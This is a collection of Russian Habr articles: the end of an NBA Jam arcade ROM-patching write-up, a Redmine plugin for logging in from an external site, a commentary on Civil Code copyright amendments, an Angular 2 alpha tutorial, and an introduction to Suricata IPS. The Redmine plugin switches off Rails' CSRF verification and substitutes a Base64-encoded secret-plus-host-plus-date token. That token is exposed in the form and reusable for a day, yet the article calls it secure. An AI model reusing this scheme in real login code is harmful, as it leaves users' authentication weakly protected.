ROM_REGION( 0xc00000, "gfxrom", 0 )
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_ug14.ug14", 0x000000, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_uj14.uj14", 0x000001, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_ug19.ug19", 0x000002, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_uj19.uj19", 0x000003, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_ug16.ug16", 0x200000, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_uj16.uj16", 0x200001, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_ug20.ug20", 0x200002, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_uj20.uj20", 0x200003, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_ug17.ug17", 0x400000, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_uj17.uj17", 0x400001, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_ug22.ug22", 0x400002, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_uj22.uj22", 0x400003, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_ug18.ug18", 0x600000, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_uj18.uj18", 0x600001, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_ug23.ug23", 0x600002, 0x80000, NO_DUMP)
ROM_LOAD32_BYTE( "l1_nba_jam_tournament_game_rom_uj23.uj23", 0x600003, 0x80000, NO_DUMP)
ROM_END
```
**Интересный факт:** в показанном выше примере кода последний параметр функции был заменён на «NO\_DUMP», чтобы можно было загружать модифицированные EPROM. Эти поля обычно[12] являются хешем CRC/SHA1 содержимого EPROM. Именно так MAME определяет, какой игре принадлежит ROM и позволяет узнать, что один из ROM-ов в наборе отсутствует или повреждён.
Сердце видеодвижка: DMA2
------------------------
Ключом к пониманию формата графики является функция, обрабатывающая запись/чтение DMA в 256 регистров DMA2, расположенные по адресам с 0x01a80000 до 0x01a800ff. Весь тяжкий труд по обратной разработке уже был выполнен разработчиками MAME. Они даже уделили время превосходному документированию формата команд.
```
Регистры DMA
------------------
Регистр | Бит | Применение
----------+-FEDCBA9876543210-+------------
0 | xxxxxxxx-------- | пиксели, отбрасываемые в начале каждой строки
| --------xxxxxxxx | пиксели, отбрасываемые в конце каждой строки
1 | x--------------- | включение записи (или очистки, если ноль)
| -421------------ | bpp изображения (0=8)
| ----84---------- | размер пропуска после = (1<
Существует даже функция отладки, позволяющая сохранять исходные спрайты в процессе передачи их DMA2 (функция написана давним участником проекта MAME Райаном Холтцом[13]). Мне достаточно было просто сыграть в игру, чтобы все файлы с метаданными сохранились на диск.
Оказалось, что спрайты составлены из простых элементов 16-битной палитры без сжатия. Однако не у всех спрайтов количество цветов одинаково. Некоторые спрайты используют только 16 цветов с 4-битными индексами цветов, а другие — 256 цветов и требуют 8-битных индексов цветов.
Патчинг
-------
Теперь я знаю расположение и формат спрайтов, поэтому осталось выполнить минимальный объём реверс-инжиниринга. Я написал на Golang небольшую программу для устранения чередования EPROM-ов «code» и «gfx». Устранив чередование, легко выполнять поиск ASCII или известных значений, потому что я работал ровно с тем, как выглядит ОЗУ во время выполнения программы.
После этого легко можно найти характеристики игрока. Оказалось, что все они хранились один за другим в 16-битном беззнаковом формате big-endian (что очень логично, ведь 34010 работает с big-endian). Я добавил патчер для модификации атрибутов игроков. Не особо разбираясь в баскетболе, я ввёл SPEED=9, 3 PTS=9, DUNKS=9, PASS=9, POWER=9, STEAL=9, BLOCK=9 и CLTCH=9.
Также я написал код для патчинга игры новыми спрайтами с единственным ограничением — новые спрайты должны иметь те же размеры, что и заменяемые. Для фотографии Эм-Джея я создал 256-цветный индексированный PNG (его можно посмотреть [здесь](http://fabiensanglard.net/nbajamte/mike.png)).
Наконец, я добавил код для преобразования промежуточного формата в формат с чередованием для записи в отдельные файлы EPROM-ов.
Запускаем игру
--------------
После патчинга содержимого EPROM инструмент диагностики NBAJam показал, что содержимое некоторых чипов помечено как «BAD». Я этого ожидал, потому что пропатчил только содержимое EPROM-ов, но не озаботился поиском формата CRC и даже местом их хранения.
GFX EPROM-ы помечены красным (UG16/UJ16, UG17/UJ17, UG18/UJ18, UG20/UJ20, UG22/UJ22 и UG23/UJ23), потому что в них хранятся изменённые мной изображения. Два EPROM-а, в которых хранятся инструкции (UG12 и UJ12) тоже красные, потому что там находятся палитры.
К счастью, здесь CRC не используются для защиты от модифицированного контента и нужны только для проверки целостности чипов. Игра запустилась. И заработала!
Hasta La Vista, Baby!
---------------------
---
Закончив с техническими трудностями, я быстро потерял интерес к инструменту и прекратил его разработку. Идеи для тех, кто захочет поиграться с кодом:
* Добавьте в Восточную конференцию Toronto Raptors.
* Добавьте возможность изменения имён игроков. К сожалению, они состоят не из ASCII, а являются заранее сгенерированными изображениями.
Книга про NBA Jam
-----------------
Если вы фанат NBA Jam, то Рейан Али написал о ней целую книгу[14]. Купить её можно [здесь](https://bossfightbooks.com/collections/books/products/nba-jam-by-reyan-ali).
Исходный код
------------
Если вы хотите внести свой вклад или просто посмотреть, как всё устроено, то полный исходный выложен на github [здесь](https://github.com/fabiensanglard/roaster).
Ссылки
------
[1] Источник: ['NJA Jam' by Reyan Ali](https://bossfightbooks.com/products/nba-jam-by-reyan-ali)
[2] Источник: ['NJA Jam' by Reyan Ali](https://bossfightbooks.com/products/nba-jam-by-reyan-ali)
[3] Источник: ['NJA Jam' by Reyan Ali](https://bossfightbooks.com/products/nba-jam-by-reyan-ali)
[4] Источник: [Mortal Kombat 1 Behind The Scenes](https://www.youtube.com/watch?v=CUBAKk64FS8)
[5] Источник: ['NJA Jam' by Reyan Ali](https://bossfightbooks.com/products/nba-jam-by-reyan-ali)
[6] Источник: [4:3 versus Square Pixels](http://www.firebrandx.com/consoleaspectcorrection.html)
[7] Комментарий: к сожалению, эпоха такой великолепной документации давно прошла
[8] Источник: [Mame NBA Jam start-up screen](http://mame_startup.png)
[9] Источник: [TMS34010 Instruction Set](http://TMS34010_Instruction_Set.pdf)
[10] Источник: [T34010 User Guide](http://t34010_user_guide.pdf)
[11] Источник: [NBA Jam—BoomShakaLaka video](https://www.youtube.com/watch?v=mOLxlzrxCv0))
[12] Источник: [MAME T-Unit driver.cpp](https://github.com/mamedev/mame/blob/52d873062c8025915d55b15547edc66de0f17492/src/mame/drivers/midtunit.cpp#L1305)
[13] Источник: [Commit 'midtunit.cpp: Added an optional DMA-blitter viewer'](https://github.com/mamedev/mame/commit/6c9ab2f93fe42b499d0230831821249e26dfdd83)
[14] Источник: ['NBA JAM Book' by Reyan Ali](https://bossfightbooks.com/products/nba-jam-by-reyan-ali)
``` | https://habr.com/ru/post/473660/ | null | ru | null |
# Авторизация в Redmine с другого сайта
На сайте [centos-admin.ru](http://centos-admin.ru) дизайнер придумал очень здоровский эффект для формы логина. Идея формы состоит в том, что пользователь вводит свои логин и пароль в [Redmine](http://www.redmine.org/) и попадает авторизованным на свою страничку.
Все бы здорово, но в [Ruby on Rails](http://rubyonrails.org/) (на коих Redmine сделан) прямые POST запросы с внешних сайтов не принимаются — для успешного запроса нужен авторизационный токен.
Сей токен генерируется rails-приложениями в автоматическом режиме, хранится в cookies. В связи с этим сперва думал в iframe загружать сайт с Redmine-ом и из cookies брать нужный ключ. Но как-то это совсем не rails-way.
Самое простое решение — слегка пропатчить Redmine — добавить возможность обработки запросов с внешних ресурсов. Благо в Redmine все для этого есть — можно написать небольшой плагин, который и будет решать эту задачу.
#### Что будет делать плагин?
Вопрос казалось бы простой, но нужно помнить о сохранении безопасности пользовательских данных.
Первые решения со [Stackoverflow](http://stackoverflow.com/) предлагали отключать проверку токена для конкретного экшена. Но это совсем не решения, т.к. открывают дыру в безопасности сайта.
Соответственно остается вариант использовать самостоятельно генерируемый токен, на стороне Redmine его проверять и в случае успешной проверки, проводить авторизацию.
#### Как генерировать токен?
Самый простой вариант — использовать любую строку символов, но мне показалось, что этого мало для безопасной авторизации. Так как простой токен можно перехватить и использовать его для отправки данных с неавторизованных ресурсов.
Поэтому я решил в авторизационный токен добавить домен, с которого отправляется запрос и информацию о текущей дате.
На стороне сайта в хэлперах создаем метод
```
def authenticity_token
token = Settings.redmine_remote_login_token
Base64.encode64 "#{token}-#{request.host}-#{Date.today}"
end
```
и затем его используем в форме
```
<%= form_tag 'http://factory.southbridge.ru/remote_login', authenticity_token: authenticity_token do %>
```
#### Что происходит на стороне Redmine?
На стороне [Redmine](http://www.redmine.org/) нужно добавить маршрут для обработки POST запросов на путь /remote\_login
```
post 'remote_login', to: 'account#remote_login'
```
И слегка пропатчить AccountController, добавив к нему экшен remote\_login:
```
module RemoteLogin
module AccountControllerPatch
def self.included(base) # :nodoc:
base.class_eval do
unloadable
skip_before_filter :verify_authenticity_token, only: :remote_login
before_filter :verify_remote_authenticity_token, only: :remote_login
def remote_login
authenticate_user
rescue AuthSourceException => e
logger.error "An error occured when authenticating #{params[:username]}: #{e.message}"
render_error :message => e.message
end
private
def verify_remote_authenticity_token
uri = URI.parse(request.env['HTTP_REFERER'])
token = Setting.plugin_redmine_remote_login['token']
unless Base64.decode64(params['authenticity_token']) == "#{token}-#{uri.host}-#{Date.today}"
if logger && log_warning_on_csrf_failure
logger.warn "Can't verify CSRF token authenticity"
end
handle_unverified_request
end
end
end
end
end
end
AccountController.send(:include, RemoteLogin::AccountControllerPatch)
```
Здесь используется отмена стандартной проверки токена
```
skip_before_filter :verify_authenticity_token, only: :remote_login
```
и вместо нее выполняется написанная нами
```
before_filter :verify_remote_authenticity_token, only: :remote_login
```
Вот собственно и весь плагин. Небольшой, но решает важную задачу — посетителям сайта удобно заходить в свой личный кабинет, не допуская при этом авторизацию с левых ресурсов.
С кодом плагина можно ознакомиться [тут](https://github.com/olemskoi/redmine_remote_login).
Советы, вопросы и замечания принимаются в комментариях. | https://habr.com/ru/post/267921/ | null | ru | null |
# Как на самом деле изменится жизнь после нововведений в ГК ч.4
Какие перемены приготовил нам законодатель в грядущих поправках к Гражданскому кодексу? Прежде, чем вступать в шумные [споры до рыготы](http://habrahabr.ru/blogs/copyright/51360/), предлагаю прочесть текст этих поправок [в первоисточнике](http://www.consultant.ru/online/base/?req=doc;base=PRJ;n=61385), не поддаваясь на провокации противоборствующих сторон — копирастов и антикопирастов. Из которых вторые ничем не лучше первых ибо всячески спекулируют на популярной, болезненной теме и ввергают в панику несведущих людей.
Итак, читаем
ФЕДЕРАЛЬНЫЙ ЗАКОН О ВНЕСЕНИИ ИЗМЕНЕНИЙ В ЧАСТЬ ЧЕТВЕРТУЮ ГРАЖДАНСКОГО КОДЕКСА РОССИЙСКОЙ ФЕДЕРАЦИИ
==================================================================================================
`Внести в часть четвертую Гражданского кодекса Российской Федерации (Собрание законодательства Российской Федерации, 2006, N 52, ст. 5496) следующие изменения:`
Статья 1229
===========
**Было:**
> `5. Ограничения исключительных прав на результаты интеллектуальной деятельности и на средства индивидуализации, в том числе в случае, когда использование результатов интеллектуальной деятельности допускается без согласия правообладателей, но с сохранением за ними права на вознаграждение, устанавливаются настоящим Кодексом.
>
> Указанные ограничения устанавливаются при условии, что они не наносят неоправданный ущерб обычному использованию результатов интеллектуальной деятельности или средств индивидуализации и не ущемляют необоснованным образом законные интересы правообладателей.`
>
>
**Стало:**
> `1) пункт 5 статьи 1229 изложить в следующей редакции:
>
> "5. Ограничения исключительных прав на результаты интеллектуальной деятельности и на средства индивидуализации, в том числе в случае, когда использование результатов интеллектуальной деятельности допускается без согласия правообладателей, но с сохранением за ними права на вознаграждение, устанавливаются настоящим Кодексом.
>
> При этом ограничения исключительных прав на произведения науки, литературы и искусства, на объекты смежных прав, на изобретения и промышленные образцы, на товарные знаки устанавливаются с соблюдением условий, предусмотренных абзацами третьим, четвертым и пятым настоящего пункта.
>
> Ограничения исключительных прав на произведение науки, литературы или искусства и на объект смежных прав устанавливаются в некоторых особых случаях при условии, что они не противоречат обычному использованию произведения и объекта смежных прав и не ущемляют необоснованным образом законные интересы правообладателей.
>
> Ограничения исключительного права на изобретение и промышленный образец устанавливаются в некоторых случаях при условии, что такие ограничения не вступают необоснованно в противоречие с обычным использованием изобретения или промышленного образца и, с учетом законных интересов третьих лиц, необоснованно не ущемляют законные интересы обладателя исключительного права на изобретение или промышленный образец.
>
> Ограничения исключительного права на товарный знак устанавливаются в некоторых случаях при условии, что такие ограничения учитывают законные интересы обладателя исключительного права на товарный знак и третьих лиц.";`
**Комментарий:**
Расширение нормы призвано защитить законные интересы третьих лиц, которые могут быть нарушены в результате реализации права на охрану результатов интеллектуальной деятельности. Например, ограничение прав патентодержателя в порядке [ст. 1362](http://www.consultant.ru/online/base/?req=doc;base=LAW;n=73010;p=6#p1223). Это положение предоставляет участникам софтверного рынка эффективный инструмент борьбы с «софтверными» патентами и патентными троллями, которые могут никогда и не появиться в России в том числе и из-за этой нормы. Также поправка укрепляет защиту общественных интересов в монопольных областях интеллектуальной деятельности, позволяя требовать у монополистов раскрытия проприентарных форматов.
Статья 1273
===========
**Было:**
> `Допускается без согласия автора или иного правообладателя и без выплаты вознаграждения воспроизведение гражданином исключительно в личных целях правомерно обнародованного произведения, за исключением:`
**Стало:**
> `2) в статье 1273:
>
> абзац первый изложить в следующей редакции:
>
> "1. Допускается без согласия автора или иного правообладателя и без выплаты вознаграждения воспроизведение гражданином в случае необходимости и исключительно в личных целях правомерно обнародованного произведения, за исключением:";
>
> дополнить пунктом 2 следующего содержания:
>
> "2. В случае когда фонограммы и аудиовизуальные произведения используются путем их воспроизведения исключительно в личных целях, авторы, исполнители, изготовители фонограмм и аудиовизуальных произведений имеют право на вознаграждение, предусмотренное статьей 1245 настоящего Кодекса.";`
**Комментарий:**
Институт необходимости упомянутый в п.1 требует правоприменительных комментариев со стороны Верховного Суда, т.к. критерии оценки необходимости и сама её суть не раскрыты.
Второй пункт устанавливает обязанность проводить отчисления в пользу правообладателей со стороны производителей и импортёров оборудования и материальных носителей, технически пригодных для воспроизведения аудио и видео продукции. Таким образом, дополнительные расходы понесут производители компьютеров, флэш-накопителей, мобильных телефонов и прочей техники, основным предназначением которой не является воспроизведение указанных произведений.
Отчисления делаются не напрямую правообладателям, авторам и исполнителям, а коллекторским организациям, в компетенции которых находится коллективное управление правами, как, например [РАО](http://www.rao.ru/). Эта норма укрепляет позиции этих организаций, в правомерности существования которых сомневались многие юристы и правообладатели, в основном, зарубежные.
Статья 1299
===========
**Было:**
> `3. В случае нарушения положений, предусмотренных пунктом 2 настоящей статьи, автор или иной правообладатель вправе требовать по своему выбору от нарушителя возмещения убытков или выплаты компенсации в соответствии со статьей 1301 настоящего Кодекса, кроме случаев, когда настоящим Кодексом разрешено использование произведения без согласия автора или иного правообладателя.`
**Стало:**
> `3) в пункте 3 статьи 1299 слова ", кроме случаев, когда настоящим Кодексом разрешено использование произведения без согласия автора или иного правообладателя" исключить;`
**Комментарий:**
Поправка направлена на укрепление законодательной защиты технических средств защиты авторских прав. Взлом или иное нарушение работы таких средств будет признаваться нарушением в любом случае, будь то копирование содержимого легально приобретённого DVD на жёсткий диск компьютера или снятие DRM-защиты с приобретённого в интернет-магазине файла. Использование HASP-эмуляторов безоговорочно становится незаконным.
Тем не менее, при условии ненарушения работы ТСЗ, у лица, правомерно владеющего экземпляром программы, сохраняются все права, которыми оно обладало и ранее. В том числе и право на свободное воспроизведение ([ст. 1280](http://www.consultant.ru/online/base/?req=doc;base=LAW;n=73010;p=2#p564))
Статья 1483
===========
**Было:**
> `9. Не могут быть зарегистрированы в качестве товарных знаков обозначения, тождественные:
>
> 1) названию известного в Российской Федерации на дату подачи заявки на государственную регистрацию товарного знака (статья 1492) произведения науки, литературы или искусства, персонажу или цитате из такого произведения, произведению искусства или его фрагменту, без согласия правообладателя, если права на соответствующее произведение возникли ранее даты приоритета регистрируемого товарного знака;
>
> 2) имени (статья 19), псевдониму (пункт 1 статьи 1265) или производному от них обозначению, портрету или факсимиле известного в Российской Федерации на дату подачи заявки лица, без согласия этого лица или его наследника;
>
> 3) промышленному образцу, знаку соответствия, доменному имени, права на которые возникли ранее даты приоритета регистрируемого товарного знака.`
**Стало:**
> `5) в подпункте 3 пункта 9 статьи 1483 слова "доменному имени," исключить;`
**Комментарий:**
Таким образом, зарегистрированное третьим лицом доменное имя не сможет воспрепятствовать регистрации товарного знака, идентичному этому домену. Нельзя не отметить, что подобной нормы не существовало в гражданском праве других стран и её появление было встречено правоведами с недоумением. С вступлением в силу вышеуказанной поправки эта странная новация упраздняется.
Необходимо отметить, что права владельца домена при этом сохраняются и поправка не позволяет осуществить обратный закват домена, т.к. право собственности на него возникло до того, как был зарегистрирован тождественный товарный знак.
В целом содержание поправок соответствует общепринятым нормам международного права, закреплённым в Соглашении ТРИПС (Trade-related Aspects of Intellectual Property Rights, англ. TRIPS). Драконовские черты, которые приписываются этим нормам отдельными блоггерами являются ничем иным, как преувеличением. До США с их действительно маразматическим Digital Millenium Copiright Act нам ещё предстоит пройти значительный путь.
*Здесь не были рассмотрены две поправки, касающиеся патентной охраны и мест происхождения товара, как не соответствующие тематике Хабра.* | https://habr.com/ru/post/284408/ | null | ru | null |
# Angular 2.0.0-alpha для тех, кто не в силах ждать
Совсем недавно (5-6 марта) прошла конференция [ng-conf](http://www.ng-conf.org), и много докладов на ней было посвящено грядущему релизу Angular 2, на нескольких из них даже показали альфа версию. Конечно же после прослушивания очень захотелось опробовать его лично. Если вам тоже не терпится — прошу под кат.
В этой статье мы разберёмся, где взять билд альфа версии Angular 2.0, создадим на нём небольшое приложение — To-do list, и запустим его в браузере без полной поддержки ECMAScript 6.
Angular 2 очень сильно отличается от нынешней версии, переосмыслено практически всё. Многие из отличий вытекают из того, что он на всю катушку использует ES6 с аннотациями и типами, разработчики называют этот язык AtScript. Теперь же, судя по всему, команда Angular начала плотно сотрудничать с Microsoft и разработка будет вестись на [TypeScript](http://www.typescriptlang.org/), и после выхода его версии 1.5, туда будет полностью включен AtScript.
Приложение Angular 2 теперь состоит из компонентов и представляет из себя их дерево. Идея похожа на [Web-components](http://habrahabr.ru/post/210058/), даже разметка Angular 2 компонентов помещается в Shadow DOM. Причём если вы соберётесь использовать в своём приложении Web-components, или, например, [Polymer](https://www.polymer-project.org/) – то синтаксис ничем не будет отличаться от использования ваших собственных Angular 2 компонентов. Сами компоненты представляют из себя ES6 классы с аннотациями, никакого специального синтаксиса как, например, для директив в версии 1.х не требуется. Сервисы теперь тоже стали обычными классами, а благодаря поддержке типизации в AtScript, инъектировать их можно по типу, без использования синтаксиса .$inject или ngAnnotate.
Давайте сейчас попробуем создать наше первое To-do приложение и по ходу дела разберёмся, что да как.
На сегодня ни один браузер не поддерживает весь тот функционал, который нужен Angular 2 для работы, поэтому нам понадобится целый ворох инструментов:
* [rtts-assert](https://www.npmjs.com/package/rtts-assert)
* [es6-shim](https://github.com/paulmillr/es6-shim/)
* [System.js](https://github.com/systemjs/systemjs)
* [Zone.js](https://github.com/btford/zone.js/)
* [Traceur](https://github.com/google/traceur-compiler) с опциями для поддержки аннотаций
Чтобы всем желающим пощупать альфу не приходилось ставить это всё по-отдельности, разработчики собрали quick start. Его можно установить набрав в папке проекта:
```
git clone https://github.com/angular/quickstart.git
```
Теперь все необходимое лежит у нас в папке quickstart, а для красоты добавим ещё [angular-material](https://github.com/angular/material), но использовать из него будем, разумеется, только css:
```
bower install angular-material
```
Теперь создадим в проекте файл index.html:
```
To Do
md-progress-circular.md-default-theme.blue .md-inner .md-right .md-half-circle {
border-right-color: #039be5;
}
md-progress-circular.md-default-theme.blue .md-inner .md-left .md-half-circle, md-progress-circular.md-default-theme .md-inner .md-right .md-half-circle {
border-top-color: #039be5;
}
md-progress-circular.md-default-theme.blue .md-inner .md-left .md-half-circle {
border-left-color: #039be5;
}
md-progress-circular.md-default-theme.blue .md-inner .md-gap {
border-top-color: #039be5;
border-bottom-color: #039be5;
}
####
To do app is loading...
System.paths = {
'angular2/\*': 'quickstart/angular2/\*.js',
'rtts\_assert/\*': 'quickstart/rtts\_assert/\*.js',
'app/\*': 'app/\*.js'
};
System.import('app/App');
```
Здесь следует обратить внимание на три момента:
Прежде всего мы подключили файл es6-shim, в нем заботливо собрано всё вышеперечисленное, что нам нужно для запуска приложения.
Далее обратим внимание на элемент app. Это и будет наш главный компонент приложения. Сейчас в нем содержится просто разметка со спиннером и надписью To do app is loading… она будет показываться пока ангуляр не загрузит класс компонента и не заменит эту разметку на его template.
В самом низу мы использовали библиотеку system.js, она реализует систему загрузки модулей ES6. Сначала при помощи System.paths мы настроили пути к .js файлам, затем с помощью System.import загрузили файл с компонентом app, а он, в свою очередь, уже и потянет за собой все нужные библиотеки и компоненты.
Теперь создадим папку app и положим в неё файл App.js:
```
import {Component, Template, bootstrap, Foreach} from 'angular2/angular2';
import {TodoStore} from 'app/TodoStore';
import {ItemEditor} from 'app/ItemEditor';
@Component({
selector: 'app',
componentServices: [
TodoStore
]
})
@Template({
url: 'app/todo.html',
directives: [Foreach, ItemEditor]
})
class App {
constructor(store:TodoStore) {
this.store=store;
}
}
bootstrap(App);
```
Сначала мы импортируем классы Component, Template, Foreach из angular2.js, оттуда же импортируем функцию bootstrap, уже знакомую тем, кто в версии 1.x не использует директиву ng-app, она инициализирует главный компонент приложения, следом мы импортируем классы TodoStore из app/todoStore.js (это будет сервис, отвечающий за работу со списком задач и его хранение в localStorage браузера) и ItemEditor из app/item-editor.js (это будет компонент — директива, отображающий элемент списка). Мы их пока не написали, поэтому рассмотрим их позже.
Далее мы создаём класс App, ему в конструктор при помощи инъектора передаётся объект класса TodoStore, который мы присваиваем свойству store.
При объявлении класса мы использовали аннотации Component и Template из angular2.js:
Component – аннотация, которая и делает класс компонентом. Свойство selector — это селектор, позволяющий обнаружить элемент в разметке шаблона, у нас это элемент app. Свойство componentServices – это список классов для инъектора.
Template – помогает указать для компонента шаблон. Свойство url указывает путь, где будет находиться шаблон, свойство directives указывает список директив, которые используются в разметке этого шаблона.
В конце файла мы используем функцию bootstrap, чтобы инициализировать наш главный компонент.
Давайте теперь создадим файл app/TodoStore.js:
```
export class TodoStore {
constructor() {
this.load();
}
save() {
window.localStorage['todoItems']=JSON.stringify(this.items);
}
addItem(name, checked) {
this.items.push(new Item(name,checked));
}
clear() {
this.items.length=0;
}
load() {
this.items=[];
let itemsStr=window.localStorage['todoItems'];
if(itemsStr) {
JSON.parse(itemsStr).forEach((e) => {
this.addItem(e.name, e.checked);
});
}
}
}
class Item {
constructor (name, checked){
this.name = name;
this.checked=checked || false;
}
toggleCheck() {
this.checked=!this.checked;
}
}
```
У класса TodoStore есть методы save(), load(), clear(), и addItem(name, checked).
Сам список задач будет храниться в свойстве items. Метод save() сохраняет значение свойства items в localStorage. Метод clear() очищает свойство items. Метод load() загружает из localStorage все элементы списка и добавляет их в items с помощью метода addItem. Метод addItem(name, checked) принимает имя пункта списка, создаёт новый объект Item и добавляет его в Items.
Следом идёт объявление класса Item, конструктор принимает name — имя пункта списка и checked — отмечен ли он как выполненный. Ещё у класса есть метод toggleCheck(), который меняет значение checked на противоположное.
Далее создаём файл app/todo.html с шаблоном главного компонента:
```
@import "../bower\_components/angular-material/angular-material.css";
.md-primary {
background-color: #039be5;
color: white;
}
md-toolbar {
background-color: #CFD8DC;
}
md-input-container {
padding-bottom: 0;
}
To do list
------------
Save
Load
Clear
Add new item
```
Здесь у нас есть три кнопки, которые вызывают методы хранилища store.save(), store.load() и store.clear(). Мы привязываемся к событию click каждой кнопки с помощью атрибута (click). В нынешней версии ангуляра порой довольно трудно с первого взгляда отличить в разметке, какой атрибут используется для привязки к событию, а какой для привязки данных, теперь же всё будет видно сразу, круглые скобки () нужны, чтобы реагировать на события элемента или компонента, а атрибут в квадратных скобках [] осуществляет привязку к данным, подразумевается, что значение атрибута — это выражение, которое будет вычислено, а его результат будет присвоен атрибуту элемента, если атрибут указан вообще без всяких скобок — то подразумевается, что в нём просто текстовое значение.
Далее обратим внимание на input с атрибутом #newitem таким образом мы теперь можем задавать элементу имя, по которому он будет нам доступен, как в событии click кнопки ниже, где мы берём значение input'а — newitem.value и передаём его в store.addItem().
Следом идёт список задач, который мы вывели с помощью новой директивы \*foreach (это замена ng-repeat), здесь, как и в input'е выше, мы написали #item, чтобы обращаться далее к каждому элементу списка по имени item.
Каждый элемент списка мы собираемся выводить при помощи директивы item-editor, которой мы привязываем элемент списка с помощью атрибута [item].
Теперь создадим файл app/ItemEditor.js с компонентом ItemEditor, который будет отвечать за отображение элементов списка.
```
import {Component, Template} from 'angular2/angular2';
@Component({
selector: 'item-editor',
bind: {
'item': 'item'
}
})
@Template({
inline: `
@import "../bower\_components/angular-material/angular-material.css";
md-checkbox.md-checked .md-icon {
background-color: #039be5;
color: white;
}
{{item.name}}
`
})
export class ItemEditor {
}
```
Здесь в @Component мы указали селектор 'item-editor', это элемент, который используется в \*foreach в todo.html. Следом указано свойство bind, оно указывает, что нужно привязать значение атрибута item к свойству item класса компонента(что-то вроде bindToController).
В [Template](http://habrahabr.ru/users/template/) на этот раз вместо url для примера указано свойство inline, оно служит для указания текста шаблона прямо в коде. Это снижает количество требуемых http запросов, поэтому после выхода Angular 2 скорее всего появится кокой-нибудь плагин для Gulp, который будет менять url на inline, на замену нынешнему [gulp-angular-templatecache](https://www.npmjs.com/package/gulp-angular-templatecache/).
В самом шаблоне можно увидеть атрибут [class.md-checked] — это лаконичная замена ng-class. А ниже выводится имя элемента списка с помощью уже ставшего родным синтаксиса с фигурными скобками {{item.name}}.
Вот и всё, теперь можно запустить проект(проверял только в Хроме) и посмотреть, как работает будущий Angular 2.0.
Как мы видим, разработчики полностью переосмыслили концепцию Angular.js и нас теперь ждёт абсолютно новый фреймворк с новым, более лаконичным синтаксисом. Благодаря абсолютно новой архитектуре, созданной с расчётом на большие приложения, производительность рендеринга, главный бич версий 1.x, возрастает во много раз (наглядное сравнение можно посмотреть в конце доклада Дейва Смита [Angular + React = Speed](https://www.youtube.com/watch?v=XQM0K6YG18s&list=PLOETEcp3DkCoNnlhE-7fovYvqwVPrRiY7)). Возможность использовать типизацию открывает перспективы развития IDE для продвинутой поддержки дополнения кода и статического анализа (как минимум, Microsoft заявляет поддержку Angular в Visual Studio одним из приоритетов). А новшества ES6 сделают разработку ещё быстрее и приятнее.
Это практически и всё, что мне удалось узнать об Angular 2.0 на сегодня, будем дальше следить за новостями, а пока вот несколько и интересных ссылок по теме:
[Канал ng-conf на YouTube с массой интересных докладов](https://www.youtube.com/channel/UCm9iiIfgmVODUJxINecHQkA)
[Официальный сайт Angular 2.0](https://angular.io/)
[Проект Angular 2 на GitHub](https://github.com/angular/angular) | https://habr.com/ru/post/253469/ | null | ru | null |
# Suricata как IPS
#### Предисловие
Печально видеть, что статьи о предупреждении или предотвращении вторжений на хабре столь непопулярны.
[Курс молодого бойца: защищаемся маршрутизатором. Продолжение: IPS](/post/60769/) — **5** плюсов.
[SNORT как сервисная IPS](/post/123474/) — **25** плюсов.
[OSSEC: Большой Брат наблюдает за тобой](/post/120700/) — **13** плюсов.
Однако, огромной популярностью пользуются статьи по разбору последствий проникновения. Попробую вбросить очередную популяризацию информационной безопасности.
#### Описание Suricata
Система предотвращения вторжений (англ. Intrusion Prevention System) — программная или аппаратная система сетевой и компьютерной безопасности, обнаруживающая вторжения или нарушения безопасности и автоматически защищающая от них.
Системы IPS можно рассматривать как расширение Систем обнаружения вторжений (IDS), так как задача отслеживания атак остается одинаковой. Однако, они отличаются в том, что IPS должна отслеживать активность в реальном времени и быстро реализовывать действия по предотвращению атак. Возможные меры — блокировка потоков трафика в сети, сброс соединений, выдача сигналов оператору. Также IPS могут выполнять дефрагментацию пакетов, переупорядочивание пакетов TCP для защиты от пакетов с измененными SEQ и ACK номерами.
[wiki](http://ru.wikipedia.org/wiki/Система_предотвращения_вторжений)
[Suricata](http://suricata-ids.org/) — open source IPS/IDS система. Основана разработчиками, которые трудились над IPS версией Snort. Основное отличие Suricata от Snort — возможность использования GPU в режиме IDS, более продвинутая система IPS, многозадачность, как следствие высокая производительность, позволяющая обрабатывать трафик до 10Gbit на обычном оборудовании, и многое другое, в том числе полная поддержка формата правил Snort. Лучше почитать обо всём на [официальном сайте](http://suricata-ids.org/features/all-features/). Cегодня погорим об IPS.
В Suricata используется два режима IPS: **NFQ** и **AF\_PACKET**
**NFQ** IPS режим работает следующим образом:
1) Пакет попадает в iptables
2) Правило iptables направляет его в очередь NFQUEUE, например **iptables -I INPUT -p tcp -j NFQUEUE**
3) Из очереди NFQUEUE пакеты могут обрабатываться на уровне пользователя, что и делает Suricata
4) Suricata прогоняет пакеты по настроенным правилам (rules) и в зависимости от них может вынести один из трех вердиктов: **NF\_ACCEPT**, **NF\_DROP** и самое интересное — **NF\_REPEAT**.
5) Пакеты, попадающие в NF\_REPEAT, могут быть промаркированы в системе, и направлены обратно в начало **текущей** таблицы iptables, что дает огромный потенциал для влияния на дальнейшую судьбу пакетов с помощью правил iptables.
